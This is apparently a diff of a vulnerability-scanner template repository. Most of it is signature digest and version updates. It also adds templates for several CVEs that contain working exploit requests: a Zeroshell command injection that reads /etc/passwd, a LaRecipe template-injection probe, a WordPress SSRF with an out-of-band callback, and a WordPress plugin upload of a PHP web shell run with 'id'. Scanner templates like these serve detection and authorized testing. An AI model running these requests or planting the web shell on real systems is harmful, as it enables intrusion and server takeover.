+{"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -1 +1 @@
-de976e25778b82d3231cbadb5afc9de0
+425043415754e2088d800df9ae84a558
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 4a0a00473045022100d5dfd8f992e6a79094583c1d78c126e0965da10f748cb7dc06035c01adcf22f502207a5e3145dd58525752aedf94fd4fcb13190524af8905930de8f754ce0757294d:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022009fffc7073d5e1e53a72fce883bf73d5d7578fe61226686fb6b4e5566cca059b0220266af709e0addcdefa3455e3f8d29ad41363701ddd181a9d43ee10cc42ef3c51:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4b0a0048304602210093ce6083318e8c486c642a2c6b13cff96dccb6ca0850a607f1fa7e20521e0c13022100dc042fdc7d90a18ff58f4cabfbd08661710bac8fab54654c07495f0a1baac213:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022047e90ae7332797ff861299b9e8b434200e7a89b6b3e86f3d8daefdbd1c0d261502204e3d762eb1f3c29a19d9e0f7588a00700aec4ac5838bd6e5d1fdb1f55e039fc4:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4b0a0048304602210083ecc833f57cb86e7ce38791cb6dd1b6061c6179d37ad5df02f4d5de116fba78022100ee222739059e6892c38e37d1eaea5bb81f0081e361b1172f70daf8c7985bd9e3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022019b92f6606aac874f7a53af70e2bb9c71b77cdf058ac055524272f288b630882022100b8a33cee13321b22cfafcf468f85a3ab5a879d7b845f2ebdfcd343e9cc202064:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4a0a00473045022100a3aa7ade0d01f54331d13759794c1d4e393d548b26086c434fec4de79b45e5f802202113498ce665e59fcc9690ba99f3b6b7b66bdee81e58656a59a52737544b0bc9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022039da917d0edd54a4387f15de6d1ec8ce3302948da821c7838bf52cd3e78d41e8022100899b90354013b7ac3c63bc6fac72427000dde4691c8e51d7f1a079bfe6aaa249:922c64590222798bb761d5b6d8e72950
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 490a0046304402200d23913323645de10c1a1d9ba76ffedca4150affddbeee1e88a257d2532d158f0220045a6411cdc98aae2879fd8017ae2cb8f5e90ab143d47b2c4db37bc5f497834e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220239c698bf862244383f08ea9254146b16d09d56ba3cfbe58d8c360317b0cb1b4022100f7e6dc65b9ee797b39ce422495e8817433ff3d144145ee612f6631d5915af094:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4b0a00483046022100c646b29f70dd909d357dc8c7e093155a8369ee81ce1ee67d0ff5b89a6adf3325022100a7a91fac56257c66de256476b94287bc74645fd5dc9a75a41f9f539107ee4771:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e2637116e3a00666d555634eca83cd14ad818fd3fbfda5f8e6cfe846a9dfae66022100ee844ced7e9f0389022d6a4f4d728e4c2aded79e55e5b886b679dcc982545d29:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100999838ad5322f9db5837bf4972ddeba4698de41410ba47149c215e2d593871540220123071b3a602978556c1a3ba869e10cd7fd89f6fc168d643919ca1494697f068:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100810f2103f931da4c5d71e4e162dfe1510197101e3cd55aa51e5d095267c09baa02210099f455ea91f123dc83eaa3779bfa389412fe209e16185cdf651e2deac96a8a74:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200c64d7d6ff7625168cfb7d9067e12f7b084b79e57248afd961731d5962d8ed82022100842d814c54e8ce0c57a4a42e3c9de8eecb0c3e88e565eea9f736ed20a4862993:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e76bc859471d40a3e30233f9c24031af884ac57e49313ac7b52e9fc83a99bb2d0220134f0f741e44a37f5236e1b32c0e8805565dd758e8724ee49b13f75888145afc:922c64590222798bb761d5b6d8e72950
@@ -1 +1 @@
-5.4
+5.5
@@ -1 +1 @@
-5.4.1
+5.4.2
@@ -1 +1 @@
-9.3.9
+9.3.10
@@ -1 +1 @@
-2.2.15
+2.2.16
@@ -1 +1 @@
-2.1.7
+3.0.0
@@ -1 +1 @@
-1.5.12
+1.5.13
@@ -1 +1 @@
-8.1.4
+8.2.0
@@ -1 +1 @@
-1.19.5
+1.19.6
@@ -1 +1 @@
-1.45
+1.45.1
@@ -1 +1 @@
-21.1.1
+21.2.0
@@ -1 +1 @@
-3.5.12
+3.5.14
@@ -1 +1 @@
-11.3.6
+11.3.16
@@ -1 +1 @@
-5.12.10
+5.12.11
@@ -1 +1 @@
-5.10.10
+5.10.11
@@ -1 +1 @@
-2.7.8
+2.7.9
@@ -1 +1 @@
-4.11.19
+4.11.20
@@ -1 +1 @@
-9.4.1
+9.4.2
@@ -1 +1 @@
-1.0.248
+1.0.249
@@ -1 +1 @@
-7.4.2
+7.4.3
@@ -1 +1 @@
-6.14.0
+6.14.1
@@ -1 +1 @@
-2.9.19
+2.9.20
@@ -1 +1 @@
-2.19.10
+2.19.11
@@ -1 +1 @@
-4.5.2
+4.6.0
@@ -1 +1 @@
-25.4
+25.5
@@ -1 +1 @@
-4.2.2
+4.2.3
@@ -0,0 +1,55 @@
+id: CVE-2020-29390
+
+info:
+  name: Zeroshell 3.9.3 - Command Injection
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
+  impact: |
+    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
+  remediation: |
+    Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.
+  reference:
+    - https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
+    - https://www.exploit-db.com/exploits/41040
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-29390
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-29390
+    cwe-id: CWE-78
+    epss-score: 0.40234
+    epss-percentile: 0.97171
+    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: zeroshell
+    product: zeroshell
+    shodan-query: http.title:"zeroshell"
+    fofa-query: title="zeroshell"
+    google-query: intitle:"zeroshell"
+  tags: cve,cve2020,zeroshell,rce,router,kev
+
+http:
+  - raw:
+      - |
+        GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: word
+        part: body
+        words:
+          - "<title>Start Session</title>"
+
+      - type: status
+        status:
+          - 200
+# digest: 490a0046304402206ffaa107e54ef3cff5ede55179558ad215f1f7e96951c76e5aaac5fb56abeba7022009965c0e696b867e059a6a47b7ddb36e5a17a362a9f391e4f8b851b7b76f5281:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022025550ae8a81d19e5360b7d937c7b6c76b53d11a158870be4d4f4fba4e832a7740220009b3ece6d3641529951089ccfd35c18724b5be4f985e23aa0a490d3254b3a99:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f1f3305f22120123f7dc79ab13e51ccc1a8cd5e9e3c4ddd5cb4a1e8bd38e9d8002210081d947bca290dfd75bfa4bc20bc912112bfb26d7bc665a400f0caad43b1e0ebd:922c64590222798bb761d5b6d8e72950
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4b0a00483046022100dc7cc909ecd1132da04caa468989d94df791d7eb662beb3977bd52ea3ad4c271022100f8f36f9097d71b17f67ad2990320d5082b0274a37d9845dcabd9f13b81a89ded:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203890d2824d4dd3cb5eb86346c1ee508dbdae6c7ee142968939c8bc74a53eedfd022100e6b8f41928d519e62c863b3cc0dd8e4fc38996cc36c60792607bdd16c6e2f215:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
+id: CVE-2025-53833
+
+info:
+  name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.
+  impact: |
+    Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
+  remediation: |
+    Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
+  reference:
+    - https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
+    - https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53833
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cve-id: CVE-2025-53833
+    cwe-id: CWE-1336
+    cpe: cpe:2.3:a:binarytorch:larecipe:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: binarytorch
+    product: larecipe
+    fofa-query: body="/binarytorch/larecipe/"
+  tags: cve,cve2025,larecipe,rce,ssti,oss
+
+http:
+  - raw:
+      - |
+        GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
+        Host: {{Hostname}}
+
+    skip-variables-check: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "PHP Extension"
+          - "PHP Version"
+          - "larecipe"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100c6b121514e790340dcec605fde2879b39c21fcb7ca74292b7644d299cccd0b59022024263170bb60b41382ac2d4e6660a80f51918543d834df31c80e5d573a10b13c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,73 @@
+id: CVE-2025-6851
+
+info:
+  name: WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF
+  author: iamnoooob,pdresearch
+  severity: high
+  description: |
+    The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
+  impact: |
+    An attacker can exploit this vulnerability to perform server-side request forgery attacks, potentially accessing internal services, reading local files, or conducting port scanning from the server's perspective.
+  remediation: |
+    Update the Broken Link Notifier plugin to version 1.3.1 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6851
+    - https://wpscan.com/vulnerability/CVE-2025-6851
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/broken-link-notifier/broken-link-notifier-130-unauthenticated-server-side-request-forgery
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2025-6851
+    cwe-id: CWE-918
+    epss-score: 0.00043
+    epss-percentile: 0.09677
+    cpe: cpe:2.3:a:broken_link_notifier_project:broken_link_notifier:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: broken_link_notifier_project
+    product: broken_link_notifier
+    publicwww-query: "/wp-content/plugins/broken-link-notifier/"
+    fofa-query: body="blnotifier_front_end"
+  tags: cve,cve2025,wp-plugin,wordpress,ssrf,oast,unauth,wpscan,broken-link-notifier
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    redirects: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body, 'blnotifier_front_end')
+        internal: true
+
+    extractors:
+      - type: regex
+        part: body
+        internal: true
+        name: nonce
+        group: 1
+        regex:
+          - 'blnotifier_front_end.*"nonce":"(.*?)"'
+
+  - raw:
+      - |-
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        X-Requested-With: xmlhttprequest
+        Content-Type: application/x-www-form-urlencoded
+
+        action=blnotifier_blinks&nonce={{nonce}}&source_url=http://test&header_links[]=http://{{interactsh-url}}&
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(interactsh_protocol, 'dns')
+          - contains_all(body, 'notify', 'timing', 'Results were generated in')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022100b380306c9cac646705ec7da4dbadd1ab19b03e01577f1bbb9a4350f61d06d6c302204000d40bcde53cd0e3c2e33de28bb44d9c8c6386ea9cbcd0f157252cf0315cfd:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,90 @@
+id: CVE-2025-7340
+
+info:
+  name: HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload
+  author: pussycat0x
+  severity: critical
+  description: |
+    The HT Contact Form Widget plugin for WordPress (≤ v2.2.1) lacks proper file type validation in the temp_file_upload function. This allows unauthenticated attackers to upload arbitrary files to the server.
+  impact: |
+    Unauthenticated attackers can upload and execute arbitrary files on the server, potentially leading to complete system compromise including data theft, malicious code execution, and server takeover.
+  remediation: |
+    Update the HT Contact Form Widget plugin to a version newer than 2.2.1 or remove the plugin if no patch is available.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-7340
+    - https://wordpress.org/plugins/ht-contactform/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-7340
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: htheme
+    product: ht_contact_form_widget
+    shodan-query: http.html:"wp-content/plugins/ht-contactform"
+  tags: cve,cve2025,wordpress,intrusive,rce,htcontact,plugin,file-upload,htheme
+
+variables:
+  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
+  cmd: 'id'
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "wp-content/plugins/ht-contactform"
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
+
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="action"
+
+        ht_form_temp_file_upload
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="_wpnonce"
+
+        {{randstr}}
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="form_id"
+
+        7
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="ht_form_file"; filename="{{randstr}}.php"
+        Content-Type: application/x-php
+
+        {{payload}}
+        ------WebKitFormBoundary--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "wp-content/uploads/ht_form/temp"
+
+  - raw:
+      - |
+        GET /wp-content/uploads/ht_form/temp/{{randstr}}.php?cmd={{cmd}}
+        Host: {{Hostname}}
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 4a0a00473045022100b9f7b18f52d6b5c377ea7dbb4d6454edf3125dd9f9190190306e7d9a0bb3a6cc0220133baeb5eeed56002733abb82e372b032f8c4d7153b8d03ea8bcc273cf2d3dda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100966cb2dcc9dfa907b41973cada88941ce1618db0b35643210d75cb4d1946a04402206a1ee803c12a4911b866db8b7a0f1696ed21afd6c47f149fd50562dd4835e5b1:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 490a0046304402205051d47d16b582c6d543155eba0e75e7cb3229dee712e4b5b9d97a80425ead0c02207f1a2aba6a8e9ebd63b83a463fafda4cea71dfb18a69c3cd10882b16d0031039:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100890188ea52af6dcd9048019e920ff9cd95b4a531d19015a1b8c0e97292d1c53102203658283359a07aa25f2456dca009336dd69f4fc4ddbd6ba9d33d74ffefb91b3f:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a00473045022100ba74abf09663296af1bca55b017055200771f2563c96f644dd767ea06fca76eb022074af26350c76810a9833117c148ba248a12de9735e76dae9587ce876a0b56997:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220680dbd3255490b150767bc99ffc8da373501fc8d6efd42efa05977ed3428862302210088a13194177f3ab56997bbc280a7cab383cb2b389ff70b837522d589d937ccb1:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4b0a00483046022100f0338fe5b97d7c633ba5b00ce49e8bc71653331405f25e9d55bd5da4d5baf4270221009d189b7468886bb85e6b50265001628275e036cd8ff2cb2950d37cfc22a0f6d2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012f5fb0e36cd7a5dc9615c3e0a213cf90f94d63a809ac21b340896e78c5a5ecd022100c95c895a2a97348d8370a53442808315203a17297d2460e9e909db439115d20c:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a004730450221008f16c5830558e8b396144fec5d19d1dfc468d0c6c5de1aa49c1ab225116e639902202f77b12e14229b379c5ecccb25a06c11ec33d0b571e1bcc4ffd6fe667b9c2b19:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022039bf816d5295af25f5c3d95f67dd8a53818d827b11a1ad25ef4dd5fef99aa45b022100af4ab98aadeefb9ff7f13037ed87ab9ca9113b3e9773878d0183d720b4b5d90f:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 490a00463044022055a653de649328d383fc1436423051e46745ca51f4a8b3ad7da43c5bc6673c4c02204ebb050dcf6b1f0f5016dfcd81639c2696c3a06ac4237ec190e9c9d2be42c207:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201e42d018256bb6265199bc7522b749922ce6d6d116142dffcfe6dd3ad82560660221008748784ed5c73ca271e3e499a19c7822cf27bd3fb1d92d6297217d8402f61598:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'contains(to_lower(body), "file exchange</title>")'
          - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
        condition: and
-# digest: 4b0a00483046022100bdb915b6baeb7e5871ffd47e09cdb303e66616c139a917b4f99b7b801bfa5317022100b17f39ccef5a678eb20a774f1e7946f6f60d64efd8d4bce4822e2868ea22ad1e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f696293761d5650992777ce2663b67d9d9bfafa1690c91a2234a2c7e70129df022005d3320fc0d8e444da8798e87c0ea46acbbf68929c021532c7a0492e82037c23:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
        condition: and
-# digest: 4a0a00473045022100eebca7f07c2c0f234ba2be95243411c8253c0572850b12e909f006f4a66c0b8d022044e70e669bd8718e56c1dc74671404bff2fad78abe1f8c64ebf87ffc94cb2b52:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100efe2d9a707597ac4fdb97b4347c1993d9122a72eebf34f359b1f5209cd8e216b022100cbc23020ded236912259561cb17a69a300ede22207d2eb7b7c64002364903595:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100afa6ac481db723976b7f3d43e31562ed054d7e498bf34b2f1a27c36154dc8008022100dff04f6c280ffa01ac5f9cd690e902b512c1d4c32adca93cecfc7c210b57d61e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ce38836c98ac81344efc1d0025df8f56172fa8d10cfa59854bec25a14845e04022021d8af254f6052ff41888b48cd259e20bb61704fbacd46056d386ef997e6a0e1:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100c7f3fc47bcb4367eef283cd927b2df3162c223dce378d31c33c344ce26d832340220619f4b18210231ccb4f7610c01d3a665d179dff5d4f42a0ab52a8dc5b9e1056e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fa77d5b773aaf1981b3818b547695f664b40f5a6c3d851c30bfcac85619ca7c022100faf97e0f8e6c8eb8309a4d9a5781b8361757d743c411edbfc4d53bfd0b7d4ee2:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a68308b28dd855715fc95d386c6214a25e8f959e2bf0e9759baca8e3cc770ed10221009e8e00ac8899724fbf494d458dc31cb7fec7c48ec5b479b277caff3f1590179a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206d808bce2988d7be82b070d99d49183abcd922c9eba21343aee9f420f7f534240221008169ff231e6139fdf8e38b4f5f3e3ec912133d88f8097ff74e31bec29efc55e7:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ http:
      - type: dsl
        dsl:
          - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4a0a004730450221008494207163f27ad54a9c538b836b10d7a9090290dd83f17db9ffd635af454a31022007ed1699439d266b86a8bfbbaf9479dd965e82134209e53f1360b8b56abf95c0:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025d5de08ba85dccb9105530803f5eb8b68d1b9aeba01525c542c209d6d1da23e02202124b94e59382cf8ab607f07de29b2410718a9ba1f7b226ca2cac65fb1629ddc:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        regex:
          - '(?i)package:\s+"([a-z0-9._-]+)"'
          - '(?i)version&nbsp;:&nbsp;([a-z0-9._-]+)'
-# digest: 490a0046304402201de75b81838839d6f59c6bbb7d193b64d523fb82186d5e78da35c1be0971dda20220583a803595e115ef41af3a8fbdde345a86b21821df47778babb63a55f6fe485a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ed55947f23067f598d9bdc5e5b7d701d77ccf4f074f94d74d714b44fd7e5b35802203b9b960543a3b3033c4b1834dcf6da6fd6e908aeb14412253a05de4b1b8da736:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100b136276fc6b48c4950ddb1177bf99a03a2af02177f42d35ae7f48cc40ee6b57a022100a4c24f7cc86c9ca4520aa7a1222defa2322508526374d3a952ab701dbc51d67f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200555b241a11651a0e372a6ca7ff792bf7483f1a074b19eff4d8208c2e3bf05c0022100855765920568f316501524f87786d613dd9876501e58a1c45296cca23dff416a:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100efd78fdcfd8d500c669868097242f4fc895cf239569fc97587ccaea3e0ffe949022100936ddde449c4bb4d79a6987e8374413a2ef436dc9abe2b0f18cc0e39e2b8e5af:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206e988ea9994fc2108b050d860050ef435b6d0f6d7a2312d97a10d2e9880a490702203ae6ae6fceb4b97ec22a4a0beaccbbf6dadefe1f6a12537dd5f823f07616e50e:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200ded93f442158a8f13f90617f43614b689bbc0339a11e3f359488bf9ac4c52ff022100c949c2978bfa78bfe5aa29beb52f8cd8aefce1d9faf45acccc088515ca5eb4fd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ea1897e9d2872919b695f4a7c03d859d9735d7ee203ea8cf13066bafe3a23dfd022027e602ae277eb7b4e7342ad976e99a52643c26ea75bca6e016cd96f1fc28df01:922c64590222798bb761d5b6d8e72950
@@ -24,4 +24,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
        condition: and
-# digest: 490a00463044022019166517e3f6cb67f763de0142f7880651a1ac66cfa3a1984f45c61fbab7b0c0022045c97697e1b5744702074ce8881eea21215d0c07dcf4951b890f8181cd24ae1c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d406c3f658728293690876d60127dbf9048d27af7691952f679c1ac9c603f58d022100c0eaaff8cc44c499abfe0f18e61d9f106b7ecb5a01e9359931ffc6c6b499ac43:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 4a0a004730450221009e5f18f23d8d54f9c03adf636cfe49685a5e1e97ec62e4ad6928ca1411b639390220056318719b346ab4d432ef1da06af06639a170ddeeb66ab78c83fd70725999c3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207e8e748c8cae695efe43999dd2605e53d374eeb637ae869a0b2c40af9038732c02203a11eb7fcc82cfb41a64e0ac66a5811492bfa985d772c7cf4caa0a68b08eae73:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402201325c964b98e87a29f68fc368f2c1c20e4bc34be418d96774b9a7e13a481039e02202e0430a9e0d32b33d981e6f30a1a925617e4e16b75c6b5f6d6c636b1038940b7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c7745fda991562183c1f00c501e0012a13c147b6d5d781aed05126cd9c3a9d1022100aecde5fa93614b9bd115379e8615a988e3b5e0edc0e3c03fd62dd06fef19f9d7:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200ee5c7db22741280597f501e91220148da057a8b219a186c7156ae942f921e26022100d9fbaf8c0ebf3ff6432950a1a304af88af20a491d7918a3058bfa241d6ba690d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cf29cea289c5bddbd5f71b316cb9a3ad8874cb4573f75c93a4c378fcfccd15cd02204d8ad64ebefaf6a4f6424b9512950e5992674375d3a88f9ed63275a29eef454b:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
          - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
